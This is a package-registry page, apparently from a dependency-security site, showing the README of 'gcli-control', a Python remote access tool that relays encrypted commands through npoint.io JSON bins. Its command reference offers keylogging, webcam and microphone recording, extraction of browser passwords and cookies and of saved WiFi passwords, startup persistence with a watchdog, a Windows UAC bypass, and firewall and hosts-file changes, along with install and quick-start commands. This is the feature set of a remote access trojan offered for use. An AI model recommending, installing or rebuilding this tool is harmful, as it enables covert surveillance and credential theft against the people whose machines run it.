🎩 You're Invited:Meet the Socket team at Black Hat in Las Vegas, August 3-6.RSVP
Sign In

gcli-control

Package Overview
Dependencies
Maintainers
1
Versions
20
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

gcli-control

Remote access tool via npoint.io - encrypted relay with 200+ commands, multi-host support, auto-reconnection, dashboard, session stats, and full desktop/system control.

pipPyPI
Version
0.13.0
Weekly downloads
859
Maintainers
1
Weekly downloads
 

gcli — Remote Access Tool via npoint.io

Encrypted command relay over npoint.io JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.

┌──────────┐     commands     ┌─────────────┐     commands     ┌──────────┐
│ gcli ssh │ ───────────────> │ npoint.io   │ ───────────────> │gcli host │
│ (client) │ <─────────────── │ (JSON bin)  │ <─────────────── │ (daemon) │
└──────────┘     results      └─────────────┘     results      └──────────┘

Install

pip install gcli-control

Quick Start

Host (remote machine):

gcli host --password MySecret123
gcli host --password MySecret123 --foreground  # debug mode

Client (your machine):

gcli ssh --password MySecret123

Stop host:

gcli stop

Security

  • AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
  • zlib compression before encryption (60-80% payload reduction)
  • PBKDF2 key caching (~150ms saved per operation)
  • Password never leaves your machine — only encrypted payloads
  • Built-in tamper detection (GCM authentication tag)
  • Persistent HTTPS connection reuse (reduced TLS handshake overhead)

Command Reference

Core Commands

CommandDescription
Any textExecute shell command on remote host
:helpShow available commands
:infoRemote system info (hostname, OS, user, IP)
:pingPing remote host (show latency)
:upload <local> <remote>Upload file to remote host
:download <remote> <local>Download file from remote host
:timeout <seconds>Set exec timeout
:historyCommand history

File Operations

CommandDescription
:ls [path]List directory
:tree [path] [depth]Directory tree
:mkdir <path>Create directory
:rm <path>Delete file
:find <pattern>Find files by glob
:stat <path>File info

Process & Monitoring

CommandDescription
:ps [limit]List processes
:kill <pid>Kill process
:uptimeRemote uptime
:cpuCPU usage
:memMemory usage
:disk [path]Disk usage
:top [limit]Top processes by CPU

Clipboard & Network

CommandDescription
:clipgetGet remote clipboard
:clipset <text>Set remote clipboard
:clipclearClear clipboard
:dns <host>DNS lookup
:portcheck <host> <port>Check port

Aliases & Scripts

CommandDescription
:alias <n> <cmd>Create alias
:aliasesList aliases
:script <c1; c2>Run script (semicolons)

Security

CommandDescription
:auditView audit log
:threat <cmd>Check threat level
:lockLock session
:unlockUnlock session

Advanced System

CommandDescription
:netstatActive network connections
:services [list|start|stop] <name>Manage services
:screenshotCapture remote screen
:history [n]Remote shell history
:envset <K> <V>Set env variable on host
:grep <pattern> [path] [ext]Search files
:partitionsDisk partitions
:whoamiRemote user info

Automation

CommandDescription
:bulk <c1; c2>Bulk execute commands
:repeat <cmd> <n>Repeat command N times
:cronList scheduled tasks
:cron add <name> <cmd>Add scheduled task
:cron rm <name>Remove scheduled task
:snapshotFull env snapshot
:waitport <host> <port>Wait for port to open

Forensics

CommandDescription
:hash <path> [algo]File hash (md5/sha1/sha256/all)
:integrity <create|verify> [path]File integrity baseline
:recent [hours]Recently modified files
:portprocess <port>Find process by port
:usbList USB devices
:suspiciousFlag suspicious processes
:openfiles <pid>List open files for process
:envauditAudit env for secrets
:startupList startup programs

Transfer

CommandDescription
:verify <path> <sha256>Verify file integrity
:diff <a> <b>Diff two files
:split <path> [size]Split file into pieces
:merge <pattern> <out>Merge split files

Webcam & Audio

CommandDescription
:camlistList cameras
:camcapture [id]Capture photo
:camrecord [id] [sec]Record video
:caminfo [id]Camera info
:audiodevicesList microphones
:audiorecord [sec] [dev]Record audio
:audioinfoAudio system info
:audiolevelCurrent mic level

Keylogger

CommandDescription
:keylogstartStart key capture
:keylogstopStop key capture
:keylogread [n]Read captured keys
:keylogstatusKeylogger status
:keylogsave [path]Save keys to file

Persistence

CommandDescription
:persistFull persistence status
:persist install [method]Install startup
:persist removeRemove startup
:persist listList persistence
:persist scheduleInstall scheduled task
:persist unscheduleRemove scheduled task
:persist watchdogInstall watchdog
:persist unwatchdogRemove watchdog

Browser Data

CommandDescription
:browsersList detected browsers
:bhistory [browser] [n]Browser history
:bcookies [browser]Browser cookies
:bbookmarks [browser]Browser bookmarks
:bdownloads [browser]Download history
:bpasswords [browser]Saved passwords

WiFi

CommandDescription
:wifistatusWiFi connection status
:wifiscanScan nearby networks
:wifilistSaved WiFi profiles
:wificonnect <ssid> [pw]Connect to WiFi
:wifidisconnectDisconnect WiFi
:wifipassword <ssid>Show saved password
:wififorget <ssid>Remove saved profile

Privilege & Elevation

CommandDescription
:checkadminCheck admin/root status
:elevateAttempt UAC bypass (Windows)
:sudo <cmd>Run command as root
:sysinfoDetailed system info

Network Config

CommandDescription
:interfacesList network interfaces
:dns <iface> <servers>Set DNS servers
:proxy <h> <p> | offSet/clear proxy
:firewallFirewall status
:fwallow <port> [name]Allow port in firewall
:arpARP table
:hosts <ip> <host>Add hosts file entry

Registry (Windows)

CommandDescription
:reglist <key>List values in key
:regread <key> [val]Read registry value
:regwrite <key> <n> <v>Write value
:regdelete <key> <val>Delete value
:regsubkeys <key>List subkeys
:regsearch <query>Search registry

Architecture

gcli/
├── __main__.py        # CLI entry point
├── __init__.py
├── crypto.py          # AES-256-GCM + PBKDF2 key cache + zlib compression
├── npoint.py          # npoint.io API (persistent HTTPS connection pool)
├── protocol.py        # Document structure, race-condition safe append
├── host.py            # Daemon: poll → decrypt → dispatch → encrypt → respond
├── client.py          # SSH REPL with 100+ commands
├── utils.py           # PID management, detach, system_info
├── colors.py          # Cross-platform ANSI colors
├── session.py         # Handshake, heartbeat, key rotation
├── fileops.py         # ls, tree, mkdir, rm, stat, cp, mv, find, du
├── processes.py       # ps, kill, process_info, env, uptime, network_info
├── clipboard.py       # Clipboard sync
├── netutils.py        # HTTP, DNS, port check, traceroute, speed test
├── aliases.py         # Command aliases & scripting
├── security.py        # Rate limiting, audit log, threat detection
├── output.py          # Pagination, syntax highlighting, diff format
├── monitoring.py      # CPU, memory, disk, processes, temperature
├── system.py          # Netstat, services, screenshot, shell history, grep
├── automation.py      # Bulk exec, repeat, cron, watchdog, env snapshot
├── forensics.py       # File hash, integrity, recent files, USB, suspicious processes
├── transfer.py        # Chunked file transfer, checksum, diff, split/merge
├── webcam.py          # Camera capture & recording
├── audio.py           # Microphone recording & levels
├── keylog.py          # Keystroke capture
├── persistence.py     # Startup, scheduled tasks, watchdog
├── browser.py         # Browser history, cookies, bookmarks, passwords
├── wifi.py            # WiFi management (scan, connect, profiles)
├── elevator.py        # Privilege escalation (UAC bypass, sudo)
├── network_config.py  # DNS, proxy, firewall, ARP, hosts
└── registry.py        # Windows registry operations

Requirements

  • Python 3.8+
  • cryptography package (required)
  • psutil (optional — better process/system monitoring)
  • sounddevice (optional — audio recording)
  • opencv-python (optional — webcam capture)
  • pynput (optional — keylogging on Linux/macOS)
  • Internet connection (for npoint.io)

License

MIT

Keywords

remote-access

FAQs

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts